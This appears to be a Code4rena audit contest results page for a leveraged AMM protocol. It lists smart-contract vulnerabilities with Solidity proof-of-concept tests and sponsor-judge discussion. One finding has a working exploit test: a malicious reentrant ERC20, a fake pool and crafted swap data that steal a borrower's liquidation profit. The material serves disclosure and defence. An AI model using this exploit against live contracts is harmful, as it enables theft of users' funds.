Particle Leverage AMM Protocol Invitational - bin2chen's results

A permissionless protocol to leverage trade any ERC20 tokens.

General Information

Platform: Code4rena

Start Date: 11/12/2023

Pot Size: $24,150 USDC

Total HM: 19

Participants: 5

Period: 10 days

Judge: 0xLeastwood

Total Solo HM: 6

Id: 312

League: ETH

Particle Protocol

Findings Distribution

Researcher Performance

Rank: 2/5

Findings: 12

Award: $0.00

QA:
grade-a

🌟 Selected for report: 7

🚀 Solo Findings: 1

Findings Information

🌟 Selected for report: bin2chen

Also found by: ladboy233, said

Labels

bug
3 (High Risk)
disagree with severity
primary issue
selected for report
sponsor acknowledged
H-01

Awards

Data not available

External Links

Lines of code

https://github.com/code-423n4/2023-12-particle/blob/a3af40839b24aa13f5764d4f84933dbfa8bc8134/contracts/protocol/ParticlePositionManager.sol#L311

Vulnerability details

Vulnerability details

Currently, there are two ways to retrieve Liquidity

  1. borrower actively close position : call closePosition()
  2. be forced liquidation leads to close position : liquidatePosition() -> _closePosition()

No matter which one, if there is a profit in the end, it needs to be refunded to the borrower

    function _closePosition(
        DataStruct.ClosePositionParams calldata params,
        DataCache.ClosePositionCache memory cache,
        Lien.Info memory lien,
        address borrower
    ) internal {
..

       if (lien.zeroForOne) {
            cache.token0Owed = cache.token0Owed < cache.tokenToPremium ? cache.token0Owed : cache.tokenToPremium;
            cache.token1Owed = cache.token1Owed < cache.tokenFromPremium ? cache.token1Owed : cache.tokenFromPremium;
@>           Base.refundWithCheck(
                borrower,
                cache.tokenFrom,
                cache.collateralFrom + cache.tokenFromPremium,
                cache.amountSpent + cache.amountFromAdd + cache.token1Owed
            );
@>          Base.refundWithCheck(
                borrower,
                cache.tokenTo,
                cache.amountReceived + cache.tokenToPremium,
                cache.amountToAdd + cache.token0Owed
            );
        } else {
            cache.token0Owed = cache.token0Owed < cache.tokenFromPremium ? cache.token0Owed : cache.tokenFromPremium;
            cache.token1Owed = cache.token1Owed < cache.tokenToPremium ? cache.token1Owed : cache.tokenToPremium;
@>           Base.refundWithCheck(
                borrower,
                cache.tokenFrom,
                cache.collateralFrom + cache.tokenFromPremium,
                cache.amountSpent + cache.amountFromAdd + cache.token0Owed
            );
@>           Base.refundWithCheck(
                borrower,
                cache.tokenTo,
                cache.amountReceived + cache.tokenToPremium,
                cache.amountToAdd + cache.token1Owed
            );
        }


    function refund(address recipient, address token, uint256 amountExpected, uint256 amountActual) internal {
        if (amountExpected > amountActual) {
@>          TransferHelper.safeTransfer(token, recipient, amountExpected - amountActual);
        }
    }

In this way, if the borrower enters the token0 or token1 blacklist, such as USDC

and the token always has a profit, then refund() -> TransferHelper.safeTransfer() will definitely revert, causing _closePositon() to always revert, and LP's Liquidity is locked in the contract

Impact

If the borrower enters the token blacklist and always has a profit, LP may not be able to retrieve Liquidity

Add a new claims[token] mechanism If refund()-> transfer() fails, record claims[token]+= (amountExpected - amountActual) And provide methods to support borrower to claim()

Assessed type

ERC20

#0 - c4-judge

2023-12-21T21:41:53Z

0xleastwood marked the issue as primary issue

#1 - wukong-particle

2023-12-23T05:48:18Z

Good suggestion, we will try something along this claims idea. Quick question, can't we simply add the claim amount into tokenOwed that's already there for LPs?

Also, does it block all transfer method, or only TransferHelper.safeTransfer? We are open to use other transfer method if it makes things simpler.

#2 - 0xleastwood

2023-12-23T19:25:05Z

Agree with this issue and it's severity. I would say all transfer methods would be blocked by the blacklist typically. I would also avoid allowing the recipient to be arbitrarily set, imo, the recipient here should always be the borrower. This avoids any issues in regards to the protocol facilitating users sidestepping blacklists.

#3 - c4-judge

2023-12-23T19:37:07Z

0xleastwood marked the issue as selected for report

#4 - wukong-particle

2023-12-24T09:16:35Z

Agree with the judge. We shouldn't and won't facilitate escaping the blacklist. Our current plan is to put the claim into tokenOwed, unless the wardens have other opinion to raise here.

#5 - c4-sponsor

2023-12-24T09:16:40Z

wukong-particle (sponsor) confirmed

#6 - c4-sponsor

2023-12-24T09:17:10Z

wukong-particle marked the issue as disagree with severity

#7 - wukong-particle

2023-12-24T09:17:14Z

Is the severity fair though? This only affect the trader that enters the blacklist, not a widespread fund stealing behavior, no?

#8 - 0xleastwood

2023-12-24T10:46:29Z

Is the severity fair though? This only affect the trader that enters the blacklist, not a widespread fund stealing behavior, no?

Agreed, there is no widespread stealing of funds but unhealthy positions are at risk of not being liquidatable. It's possible LPs are left with bad debt right? Which is a core part of the protocol and should be prioritised above all else. @wukong-particle

#9 - 0xleastwood

2023-12-24T10:54:45Z

My understanding is still limited atm, but how can a position be liquidated when it is in profit? Is this state even possible in the first place? As far as I can see, liquidation only happens when token debt exceeds token premium or when the loan has "expired". I think there is possibility for refunds to happen in all three cases but it's unclear to me that a position is solvent in any case where a refund is sent out to the borrower. And on the other end, when a position is not solvent, LPs are still protected.

#10 - wukong-particle

2024-01-12T18:56:19Z

Forogt to follow up on this. Re judge's comment above, the bad state is e.g., when a loan has "expired" but still profitable. In this case, the LP will get their rightful amount back (the borrowed liquidity + interest), and whatever remains will be refunded to the borrower (could even be at a profit). (This is after solving the issue https://github.com/code-423n4/2023-12-particle-findings/issues/26).

However, after revising the contract, our team decides to skip this black issue for now for 2 reasons.

(1) this should be a rare situation: a borrower was not in a blacklist, opens a position, then enters the blacklist before closing/liquidating the position. If this really happens once or twice, our protocol will have an insurance fund to repay the LP. If we observe it to be a frequently occurred issue, we will upgrade the contract with the suggested "try-catch-claim" pattern.

(2) the liquidator can control the "amountSwap" to reduce the refund amount of blacklisted token to 0, only refunding the other token (basically skipping the swap for this token). This can't solve the problem if both tokens blacklist the borrower.

So we will update the tag to sponsor-acknowledged. And we maintain that this shouldn't be a high severity issue since it should happen in very rare situation and 's not widespread. Thanks!

#11 - c4-sponsor

2024-01-12T18:56:42Z

wukong-particle (sponsor) acknowledged

#12 - c4-sponsor

2024-01-12T18:56:55Z

wukong-particle (sponsor) disputed

#13 - c4-sponsor

2024-01-12T18:57:01Z

wukong-particle (sponsor) acknowledged

#14 - 0xleastwood

2024-01-19T09:40:29Z

To answer your points:

(1) the assumption is that the insurance fund has enough funds to repay the LP. It is not uncommon for hackers to LP into pools in an effort to avoid being blacklisted. I think it is worth handling as a worse case scenario just in case. (2) interesting point that the liquidator can control this, indeed they would then need to be blacklisted in both pool tokens.

I would look to treat any case where LP's funds are at risk as high severity, no matter how unlikely. I think for this reason it would be good to maintain this as high severity but I will think about it some more (especially the 2nd point you raised).

#15 - 0xleastwood

2024-01-19T12:41:05Z

Adding to point (2), i think there are too many factors to consider that would make it difficult for a liquidator to ensure that the blacklisted token refunded to the borrower is precisely zero. i.e. it would need to take into consideration no prior swaps so amounts required to repay LPs would need to be known prior.

Findings Information

🌟 Selected for report: bin2chen

Also found by: adriro

Labels

bug
3 (High Risk)
primary issue
selected for report
sponsor confirmed
H-02

Awards

Data not available

External Links

Lines of code

https://github.com/code-423n4/2023-12-particle/blob/a3af40839b24aa13f5764d4f84933dbfa8bc8134/contracts/protocol/ParticlePositionManager.sol#L160-L167

Vulnerability details

Vulnerability details

When openPosition(), we need to record the current feeGrowthInside0LastX128/feeGrowthInside1LastX128. And when closing the position, we use Base.getOwedFee() to calculate the possible fees generated during the borrowing period, which are used to pay the LP.

openPosition() -> Base.prepareLeverage()

    function openPosition(
        DataStruct.OpenPositionParams calldata params
    ) public override nonReentrant returns (uint96 lienId, uint256 collateralTo) {
        if (params.liquidity == 0) revert Errors.InsufficientBorrow();

        // local cache to avoid stack too deep
        DataCache.OpenPositionCache memory cache;

        // prepare data for swap
        (
            cache.tokenFrom,
            cache.tokenTo,
            cache.feeGrowthInside0LastX128,
            cache.feeGrowthInside1LastX128,
            cache.collateralFrom,
            collateralTo
        ) = Base.prepareLeverage(params.tokenId, params.liquidity, params.zeroForOne);
...

        liens[keccak256(abi.encodePacked(msg.sender, lienId = _nextRecordId++))] = Lien.Info({
            tokenId: uint40(params.tokenId),
            liquidity: params.liquidity,
            token0PremiumPortion: cache.token0PremiumPortion,
            token1PremiumPortion: cache.token1PremiumPortion,
            startTime: uint32(block.timestamp),
@>          feeGrowthInside0LastX128: cache.feeGrowthInside0LastX128,
@>          feeGrowthInside1LastX128: cache.feeGrowthInside1LastX128,
            zeroForOne: params.zeroForOne
        });


    function prepareLeverage(
        uint256 tokenId,
        uint128 liquidity,
        bool zeroForOne
    )
        internal
        view
        returns (
            address tokenFrom,
            address tokenTo,
            uint256 feeGrowthInside0LastX128,
            uint256 feeGrowthInside1LastX128,
            uint256 collateralFrom,
            uint256 collateralTo
        )
    {
...
            ,
@>          feeGrowthInside0LastX128,
@>          feeGrowthInside1LastX128,
            ,

      ) = UNI_POSITION_MANAGER.positions(tokenId);

    }

From the above code, we can see that the final value saved to liens[].feeGrowthInside0LastX128/feeGrowthInside1LastX128 is directly taken from UNI_POSITION_MANAGER.positions(tokenId).

The problem is: The value in UNI_POSITION_MANAGER.positions(tokenId) is not the latest.

Only when executing UNI_POSITION_MANAGER.increaseLiquidity()/decreaseLiquidity()/collect() will it synchronize the pool's feeGrowthInside0LastX128/feeGrowthInside1LastX128.

Because of using the stale value, it leads to a smaller value relative to the actual value. When closePosition(), the calculated difference will be larger, and the borrower will pay extra fees.

Impact

Due to use stale feeGrowthInside0LastX128/feeGrowthInside1LastX128, the borrower will pay extra fees.

Proof of Concept

The following test code demonstrates that after swap(), UNI_POSITION_MANAGER.positions(tokenId) is not the latest unless actively executing UNI_POSITION_MANAGER.collect().

add to Swap.t.sol

    function testShowCache() public {
        (,,,,,,,,uint256 feeGrowthInside0LastX128,uint256 feeGrowthInside1LastX128,,) = nonfungiblePositionManager.positions(_tokenId);
        console.log("feeGrowthInside0LastX128(first):",feeGrowthInside0LastX128);
        console.log("feeGrowthInside1LastX128(first):",feeGrowthInside1LastX128);         
        _swap();
        (,,,,,,,,uint256 feeGrowthInside0LastX128Swap,uint feeGrowthInside1LastX128Swap,,) = nonfungiblePositionManager.positions(_tokenId);
        console.log("equal 0 (after swap):",feeGrowthInside0LastX128Swap == feeGrowthInside0LastX128);
        console.log("equal 1 (after swap):",feeGrowthInside1LastX128Swap == feeGrowthInside1LastX128);
        vm.startPrank(LP);
        particlePositionManager.collectLiquidity(_tokenId);
        vm.stopPrank();          
        (,,,,,,,,uint256 feeGrowthInside0LastX128After,uint256 feeGrowthInside1LastX128After,,) = nonfungiblePositionManager.positions(_tokenId);
        console.log("feeGrowthInside0LastX128(after collect):",feeGrowthInside0LastX128After);
        console.log("feeGrowthInside1LastX128(after collect):",feeGrowthInside1LastX128After); 
        
        console.log("feeGrowthInside0LastX128(more):",feeGrowthInside0LastX128After - feeGrowthInside0LastX128);
        console.log("feeGrowthInside1LastX128(more):",feeGrowthInside1LastX128After - feeGrowthInside1LastX128);
    }
forge test -vvv --match-test testShowCache --fork-url https://eth-mainnet.g.alchemy.com/v2/xxxxx --fork-block-number 18750931

Logs:
  feeGrowthInside0LastX128(first): 72311088602808532523286912166257
  feeGrowthInside1LastX128(first): 29354860053667370145800991738605288969228
  equal 0 (after swap): true
  equal 1 (after swap): true
  feeGrowthInside0LastX128(after collect): 72311299261479720625185125361673
  feeGrowthInside1LastX128(after collect): 29354860053667370145800991738605288969228
  feeGrowthInside0LastX128(more): 210658671188101898213195416
  feeGrowthInside1LastX128(more): 0

After LiquidityPosition.collectLiquidity(), execute Base.prepareLeverage() to ensure the latest feeGrowthInside0LastX128/feeGrowthInside1LastX128.

    function openPosition(
        DataStruct.OpenPositionParams calldata params
    ) public override nonReentrant returns (uint96 lienId, uint256 collateralTo) {
    function openPosition(
        DataStruct.OpenPositionParams calldata params
    ) public override nonReentrant returns (uint96 lienId, uint256 collateralTo) {
        if (params.liquidity == 0) revert Errors.InsufficientBorrow();

        // local cache to avoid stack too deep
        DataCache.OpenPositionCache memory cache;

-       // prepare data for swap
-       (
-           cache.tokenFrom,
-            cache.tokenTo,
-            cache.feeGrowthInside0LastX128,
-            cache.feeGrowthInside1LastX128,
-            cache.collateralFrom,
-            collateralTo
-        ) = Base.prepareLeverage(params.tokenId, params.liquidity, params.zeroForOne);

        // decrease liquidity from LP position, pull the amount to this contract
        (cache.amountFromBorrowed, cache.amountToBorrowed) = LiquidityPosition.decreaseLiquidity(
            params.tokenId,
            params.liquidity
        );
        LiquidityPosition.collectLiquidity(
            params.tokenId,
            uint128(cache.amountFromBorrowed),
            uint128(cache.amountToBorrowed),
            address(this)
        );
+       // prepare data for swap
+        (
+            cache.tokenFrom,
+            cache.tokenTo,
+            cache.feeGrowthInside0LastX128,
+            cache.feeGrowthInside1LastX128,
+            cache.collateralFrom,
+            collateralTo
+        ) = Base.prepareLeverage(params.tokenId, params.liquidity, params.zeroForOne);

Assessed type

Decimal

#0 - c4-judge

2023-12-21T21:43:27Z

0xleastwood marked the issue as primary issue

#1 - romeroadrian

2023-12-22T14:23:21Z

Dupplicate #50

#2 - c4-judge

2023-12-22T19:18:34Z

0xleastwood marked the issue as duplicate of #50

#3 - c4-judge

2023-12-23T19:37:57Z

0xleastwood marked the issue as not a duplicate

#4 - c4-judge

2023-12-23T19:38:00Z

0xleastwood marked the issue as selected for report

#5 - c4-judge

2023-12-23T19:38:17Z

0xleastwood marked the issue as primary issue

#6 - c4-sponsor

2023-12-24T09:13:42Z

wukong-particle (sponsor) confirmed

Findings Information

🌟 Selected for report: bin2chen

Also found by: adriro, immeas, ladboy233

Labels

bug
3 (High Risk)
disagree with severity
primary issue
selected for report
sponsor confirmed
H-03

Awards

Data not available

External Links

Lines of code

https://github.com/code-423n4/2023-12-particle/blob/a3af40839b24aa13f5764d4f84933dbfa8bc8134/contracts/protocol/ParticlePositionManager.sol#L311

Vulnerability details

Vulnerability details

When the Loan expires, and RenewalCutoffTime has been set, anyone can execute the liquidation method liquidatePosition(). Execution path: liquidatePosition() -> _closePosition() -> Base.swap(params.data)

The problem is that this params.data can be arbitrarily constructed by the liquidator. As long as there is enough amountReceived after the exchange for repayment, it will not revert.

In this way, you can maliciously construct data and steal the extra profit of the liquidator. (At least amountReceived must be guaranteed)

Assume:

collateral + tokenPremium = 120 repay minimum amountReceived only need 100 to swap so borrower Profit 120 - 100 = 20

  1. create fakeErc20 and fakePool (token0 = fakeErc20,token1 = WETH)
  2. execute liquidatePosition():pool = fakePool , swapAmount = 120 (all collateral + tokenPremium)
  3. in fakeErc20.transfer() reentry execute reply 100 equivalent amountReceived (transfer to ParticlePositionManager)
  4. liquidatePosition() success , steal 120 - 100 = 20

Proof of Concept

add to LiquidationTest.t.sol

contract FakeErc20 is ERC20 {
    bool public startTransfer = false;
    address public transferTo;
    uint256 public transferAmount;
    constructor() ERC20("","") {
    }    
    function set(bool _startTransfer,address _transferTo,uint256 _transferAmount) external {
        startTransfer = _startTransfer;
        transferTo = _transferTo;
        transferAmount = _transferAmount;
    }
    function mint(address account, uint256 amount) external {
        _mint(account, amount);
    }
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        //for pay loan , usdc
        if(startTransfer) ERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48).transfer(transferTo,transferAmount);
        return true;
    }    
}


    FakeErc20 public fakeErc20 = new FakeErc20();
    function uniswapV3MintCallback(
        uint256 amount0Owed,
        uint256 amount1Owed,
        bytes calldata
    ) external {
        ERC20 token0 = address(fakeErc20) < address(WETH) ? ERC20(fakeErc20):ERC20(address(WETH));
        ERC20 token1 = address(fakeErc20) < address(WETH) ? ERC20(address(WETH)):ERC20(fakeErc20);
        if (amount0Owed > 0) token0.transfer(msg.sender,amount0Owed);
        if (amount1Owed > 0) token1.transfer(msg.sender,amount1Owed);
        
    }    
    function testStealProfit() public {
        //1. open Position
        _openLongPosition();
        _addPremium(PREMIUM_0, PREMIUM_1);
        vm.warp(block.timestamp + 1 seconds);
        _renewalCutoff();
        vm.warp(block.timestamp + 7 days);

        //2. init fake pool
        address anyone = address(0x123990088); 
        uint256 fakePoolGetETH;
        uint256 payUsdcToLp;
        uint256 amountToAdd;
        bytes memory data;
        vm.startPrank(WHALE);
        WETH.transfer(address(this), 1000e18);
        fakeErc20.mint(address(this), 1000e18);
        vm.stopPrank();
        IUniswapV3Pool fakePool = IUniswapV3Pool(uniswapV3Factory.createPool(address(WETH), address(fakeErc20), FEE));
        fakePool.initialize(TickMath.getSqrtRatioAtTick((_tickLower + _tickUpper) / 2 ));
        fakePool.mint(address(this), _tickLower, _tickUpper, 1e18, "");

        //3. compute swap amount
        {
            (,uint128 token1Owed,,uint128 token1Premium,,uint256 collateral1) = particleInfoReader.getOwedInfo(SWAPPER, LIEN_ID);
            (uint40 tokenId, uint128 liquidity, , , , , , ) = particleInfoReader.getLien(SWAPPER, LIEN_ID);
            (payUsdcToLp, amountToAdd) = Base.getRequiredRepay(liquidity, tokenId);

            uint256 amountSwap = collateral1 + token1Premium - amountToAdd - token1Owed - (token1Premium * LIQUIDATION_REWARD_FACTOR /BASIS_POINT);
            
        
            ISwapRouter.ExactInputSingleParams memory params = ISwapRouter.ExactInputSingleParams({
                tokenIn: address(WETH),
                tokenOut: address(fakeErc20),
                fee: FEE,
                recipient: anyone,
                deadline: block.timestamp,
                amountIn: amountSwap,
                amountOutMinimum: 0,
                sqrtPriceLimitX96:0
            });
            data = abi.encodeWithSelector(ISwapRouter.exactInputSingle.selector, params);
            //4. execute liquidatePosition pay usdc and get eth
            vm.startPrank(WHALE);
            USDC.transfer(address(fakeErc20), payUsdcToLp);
            fakeErc20.set(true,address(particlePositionManager),payUsdcToLp);
            vm.stopPrank();     
            uint256 fakePoolEthBalance = WETH.balanceOf(address(fakePool));
            vm.startPrank(anyone);
            particlePositionManager.liquidatePosition(
                DataStruct.ClosePositionParams({lienId: uint96(LIEN_ID), amountSwap: amountSwap, data: data}),
                SWAPPER
            );
            vm.stopPrank(); 
            fakePoolGetETH = WETH.balanceOf(address(fakePool)) -  fakePoolEthBalance;                
        }
   
        //5. show steal usdc
        console.log("steal eth :",fakePoolGetETH);  
        console.log("pay usdc:",payUsdcToLp / 1e6);  
        uint256 usdcBefore = USDC.balanceOf(address(fakePool));
        _swap(address(fakePool),address(WETH),address(USDC),FEE,fakePoolGetETH); //Simplify: In reality can use fakeErc20 swap eth
        console.log("steal eth swap to usdc:",(USDC.balanceOf(address(fakePool)) - usdcBefore) / 1e6);  
        console.log("steal usdc:",(USDC.balanceOf(address(fakePool)) - usdcBefore - payUsdcToLp)/1e6);  
    }
forge test -vvv --match-test testStealProfit --fork-url https://eth-mainnet.g.alchemy.com/v2/xxx --fork-block-number 18750931


Logs:
  steal eth : 790605367691135637
  pay usdc: 737
  steal eth swap to usdc: 1856
  steal usdc: 1118

Impact

liquidator can construct malicious data to steal the borrower's profit.

It is recommended to remove data. The protocol already knows the token0/token1 and params.amountSwap that need to be exchanged, which is enough to construct the elements needed for swap.

Assessed type

Other

#0 - c4-judge

2023-12-21T21:43:19Z

0xleastwood marked the issue as primary issue

#1 - romeroadrian

2023-12-22T16:17:44Z

This is an interesting attack 👍

#2 - wukong-particle

2023-12-23T05:39:29Z

@romeroadrian what does it mean "router can split amounts directly here"? Can you elaborate, thanks!

#3 - wukong-particle

2023-12-23T05:43:40Z

This is a great finding around our arbitrary swap data. The reason we have it is that we wanted to use 1inch to route for the best price when swapping.

In your recommendation

It is recommended to remove data. The protocol already knows the token0/token1 and params.amountSwap that need to be exchanged, which is enough to construct the elements needed for swap.

That means we use the swapExactInput inside our Base.swap to replace data, right?

--

Want to discuss more here though, is this attack applicable to any ERC20 tokens? This step

in fakeErc20.transfer() reentry execute reply 100 equivalent amountReceived (transfer to ParticlePositionManager)

can't be generally triggered for normal ERC20, right? There isn't a callback when receiving ERC20 (unlike ERC721 on receive callback)

How often does a normal ERC20 have a customized callback to allow reentrancy like the FakeErc20 in example? Thanks!

#4 - romeroadrian

2023-12-23T13:38:48Z

@romeroadrian what does it mean "router can split amounts directly here"? Can you elaborate, thanks!

Sorry got confused with #20, my comment was originally targeting that other issue.

#5 - 0xleastwood

2023-12-23T19:26:08Z

Agree with this finding and it's severity.

#6 - c4-judge

2023-12-23T19:36:59Z

0xleastwood marked the issue as selected for report

#7 - c4-sponsor

2023-12-24T09:10:26Z

wukong-particle (sponsor) acknowledged

#8 - c4-sponsor

2023-12-24T09:10:31Z

wukong-particle marked the issue as disagree with severity

#9 - wukong-particle

2023-12-24T09:12:45Z

Acknowledging the issue as it indeed can happen if a malicious erc20 is designed for our protocol. But unlikely to patch completely because otherwise we wouldn't be use 1inch or other general router.

We disagree with the severity though, because this attack, at its current design, can't apply to all ERC20 in general. Wardens please do raise concern if our understanding is incorrect here. Thanks!

#10 - 0xleastwood

2023-12-24T10:56:18Z

So to clarify, for this attack to be possible, the protocol would need to have a pool containing a malicious erc20 token and have significant liquidity in this pool? @wukong-particle

#11 - 0xleastwood

2023-12-24T10:57:53Z

Can this attack not also be possible with any token with callbacks enabled?

#12 - 0xleastwood

2023-12-24T12:11:46Z

Also, regardless of a malicious erc20 token, we could still extract significant value by sandwiching attacking the swap no?

Consider the following snippet of code:

function swap(
    IAggregationExecutor caller,
    SwapDescription calldata desc,
    bytes calldata data
)
    external
    payable
    returns (uint256 returnAmount, uint256 gasLeft)
{
    require(desc.minReturnAmount > 0, "Min return should not be 0");
    require(data.length > 0, "data should not be empty");

    uint256 flags = desc.flags;
    IERC20 srcToken = desc.srcToken;
    IERC20 dstToken = desc.dstToken;

    bool srcETH = srcToken.isETH();
    if (flags & _REQUIRES_EXTRA_ETH != 0) {
        require(msg.value > (srcETH ? desc.amount : 0), "Invalid msg.value");
    } else {
        require(msg.value == (srcETH ? desc.amount : 0), "Invalid msg.value");
    }

    if (!srcETH) {
        _permit(address(srcToken), desc.permit);
        srcToken.safeTransferFrom(msg.sender, desc.srcReceiver, desc.amount);
    }

    {
        bytes memory callData = abi.encodePacked(caller.callBytes.selector, bytes12(0), msg.sender, data);
        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory result) = address(caller).call{value: msg.value}(callData);
        if (!success) {
            revert(RevertReasonParser.parse(result, "callBytes failed: "));
        }
    }

    uint256 spentAmount = desc.amount;
    returnAmount = dstToken.uniBalanceOf(address(this));

    if (flags & _PARTIAL_FILL != 0) {
        uint256 unspentAmount = srcToken.uniBalanceOf(address(this));
        if (unspentAmount > 0) {
            spentAmount = spentAmount.sub(unspentAmount);
            srcToken.uniTransfer(msg.sender, unspentAmount);
        }
        require(returnAmount.mul(desc.amount) >= desc.minReturnAmount.mul(spentAmount), "Return amount is not enough");
    } else {
        require(returnAmount >= desc.minReturnAmount, "Return amount is not enough");
    }

    address payable dstReceiver = (desc.dstReceiver == address(0)) ? msg.sender : desc.dstReceiver;
    dstToken.uniTransfer(dstReceiver, returnAmount);

    emit Swapped(
        msg.sender,
        srcToken,
        dstToken,
        dstReceiver,
        spentAmount,
        returnAmount
    );

    gasLeft = gasleft();
}

The router has been approved as a spender and can therefore transfer desc.amount to desc.srcReceiver. Subsequently, an external call is made caller which is also controlled by the liquidator. Here, they would simply have to perform the swap themselves and transfer the expected amount back to the contract. Keeping any excess. This is an issue for AggregationRouterV4 and I would expect there are similar types of issues in other DEX aggregator contracts.

#13 - 0xleastwood

2023-12-24T12:13:39Z

AggregationRouterV5 is also vulnerable to the same issue.

function swap(
    IAggregationExecutor executor,
    SwapDescription calldata desc,
    bytes calldata permit,
    bytes calldata data
)
    external
    payable
    returns (
        uint256 returnAmount,
        uint256 spentAmount
    )
{
    if (desc.minReturnAmount == 0) revert ZeroMinReturn();

    IERC20 srcToken = desc.srcToken;
    IERC20 dstToken = desc.dstToken;

    bool srcETH = srcToken.isETH();
    if (desc.flags & _REQUIRES_EXTRA_ETH != 0) {
        if (msg.value <= (srcETH ? desc.amount : 0)) revert RouterErrors.InvalidMsgValue();
    } else {
        if (msg.value != (srcETH ? desc.amount : 0)) revert RouterErrors.InvalidMsgValue();
    }

    if (!srcETH) {
        if (permit.length > 0) {
            srcToken.safePermit(permit);
        }
        srcToken.safeTransferFrom(msg.sender, desc.srcReceiver, desc.amount);
    }

    _execute(executor, msg.sender, desc.amount, data);

    spentAmount = desc.amount;
    // we leave 1 wei on the router for gas optimisations reasons
    returnAmount = dstToken.uniBalanceOf(address(this));
    if (returnAmount == 0) revert ZeroReturnAmount();
    unchecked { returnAmount--; }

    if (desc.flags & _PARTIAL_FILL != 0) {
        uint256 unspentAmount = srcToken.uniBalanceOf(address(this));
        if (unspentAmount > 1) {
            // we leave 1 wei on the router for gas optimisations reasons
            unchecked { unspentAmount--; }
            spentAmount -= unspentAmount;
            srcToken.uniTransfer(payable(msg.sender), unspentAmount);
        }
        if (returnAmount * desc.amount < desc.minReturnAmount * spentAmount) revert RouterErrors.ReturnAmountIsNotEnough();
    } else {
        if (returnAmount < desc.minReturnAmount) revert RouterErrors.ReturnAmountIsNotEnough();
    }

    address payable dstReceiver = (desc.dstReceiver == address(0)) ? payable(msg.sender) : desc.dstReceiver;
    dstToken.uniTransfer(dstReceiver, returnAmount);
}

#14 - 0xleastwood

2023-12-24T12:14:49Z

As such, I think this is vulnerable to all erc20 tokens.

#15 - wukong-particle

2023-12-26T01:27:02Z

Hmm ok I see, this is more like a malicious pool attack rather than malicious erc20 token attack. It's using the vulnerability from swap aggregator (e.g. the arbitrary call of address(caller).call{value: msg.value}(callData); in AggregationRouterV5.

To fix this, we can restrict the DEX_AGGREGATOR to be Uniswap's SwapRouter (deployed at 0xE592427A0AEce92De3Edee1F18E0157C05861564 on mainnet). This router interacts with Uniswap only (it has multicall, so we can use data to choose multi-path if needed).

Will this resolve this vulnerability? @0xleastwood @romeroadrian @bin2chen66

#16 - bin2chen66

2023-12-26T07:15:21Z

@wukong-particle I’m sorry, I didn’t quite understand what you mean. In the POC, it use Uniswap’s SwapRouter and Pool.

In my personal understanding, if the liquidator still passes in data, then we need to check the security of this data, but it’s quite difficult to check. So I still keep my opinion, liquidatePosition() ignores the incoming data, and the method constructs data internally, which is how to determine the swap slippage is a problem.

#17 - wukong-particle

2023-12-26T08:01:56Z

Ok understood, based on the PoC provided here and the 1inch v5 vulnerability raised by the judge, I think we should remove the raw data from input parameters altogether. We will use direct swap (with the fee as input to select which pool to execute the swap). Thanks for the discussion!

#18 - c4-sponsor

2023-12-26T08:17:24Z

wukong-particle (sponsor) confirmed

#19 - 0xleastwood

2023-12-26T09:20:58Z

So Uniswap's SwapRouter contract is vulnerable to something slightly different. We can control the path at which tokens are swapped, stealing any profit along the way. Additionally, all DEX aggregators would be prone to sandwich attacks.

I think there can be some better input validation when it comes to performing the actual swap. If possible we should try to avoid any swaps during liquidation as this leaves the protocol open to potential bad debt accrual and issues with slippage control. Validating slippage impacts the liveness of liquidations so that is also not an ideal solution. It really depends on what should be prioritised here?

Findings Information

🌟 Selected for report: adriro

Also found by: bin2chen, immeas

Labels

bug
2 (Med Risk)
satisfactory
duplicate-61

Awards

Data not available

External Links

Lines of code

https://github.com/code-423n4/2023-12-particle/blob/a3af40839b24aa13f5764d4f84933dbfa8bc8134/contracts/protocol/ParticlePositionManager.sol#L377-L378

Vulnerability details

Vulnerability details

in liquidatePosition()

At the end of the liquidation, the liquidation fee will be transferred to the liquidator.

    function liquidatePosition(
        DataStruct.ClosePositionParams calldata params,
        address borrower
    ) external override nonReentrant {
...

        liquidateCache.liquidationRewardFrom =
            ((closeCache.tokenFromPremium) * LIQUIDATION_REWARD_FACTOR) /
            uint128(Base.BASIS_POINT);
        liquidateCache.liquidationRewardTo =
            ((closeCache.tokenToPremium) * LIQUIDATION_REWARD_FACTOR) /
            uint128(Base.BASIS_POINT);
        closeCache.tokenFromPremium -= liquidateCache.liquidationRewardFrom;
        closeCache.tokenToPremium -= liquidateCache.liquidationRewardTo;

        delete liens[lienKey];

        // execute actual position closing
        _closePosition(params, closeCache, lien, borrower);

        // reward liquidator
@>      TransferHelper.safeTransfer(closeCache.tokenFrom, msg.sender, liquidateCache.liquidationRewardFrom);
@>      TransferHelper.safeTransfer(closeCache.tokenTo, msg.sender, liquidateCache.liquidationRewardTo);

        emit LiquidatePosition(borrower, lien.tokenId, closeCache.amountFromAdd, closeCache.amountToAdd);
    }

The problem with the above code is that when transferring to the liquidator, it does not judge whether liquidationRewardFrom/ liquidationRewardTo is greater than 0.

Some tokens will revert when the transfer quantity is 0 (e.g. LEND).

https://github.com/d-xo/weird-erc20/?tab=readme-ov-file#revert-on-zero-value-transfers

In this way, a malicious borrower can deliberately keep token0PremiumPortion/token1PremiumPortion at 0 or very small amount when openPosition(), causing liquidationRewardFrom/ liquidationRewardTo to always be 0, causing this method liquidatePosition() to always fail and cannot be executed.

Impact

When the transfer quantity of some tokens is 0, it will revert. In pools that include such tokens, malicious borrowers can control tokenPremiumPortion==0 to prevent forced liquidation.

    function liquidatePosition(
        DataStruct.ClosePositionParams calldata params,
        address borrower
    ) external override nonReentrant {

+     if (liquidateCache.liquidationRewardFrom>0){
        TransferHelper.safeTransfer(closeCache.tokenFrom, msg.sender, liquidateCache.liquidationRewardFrom);
+     }
+     if (liquidateCache.liquidationRewardTo>0){
        TransferHelper.safeTransfer(closeCache.tokenTo, msg.sender, liquidateCache.liquidationRewardTo);
+      }
        emit LiquidatePosition(borrower, lien.tokenId, closeCache.amountFromAdd, closeCache.amountToAdd);
    }

Assessed type

ERC20

#0 - c4-judge

2023-12-21T22:12:20Z

0xleastwood marked the issue as duplicate of #61

#1 - c4-judge

2023-12-23T22:36:31Z

0xleastwood changed the severity to QA (Quality Assurance)

#2 - c4-judge

2023-12-31T13:05:31Z

This previously downgraded issue has been upgraded by 0xleastwood

#3 - c4-judge

2023-12-31T13:08:53Z

0xleastwood marked the issue as satisfactory

Findings Information

🌟 Selected for report: adriro

Also found by: bin2chen

Labels

bug
2 (Med Risk)
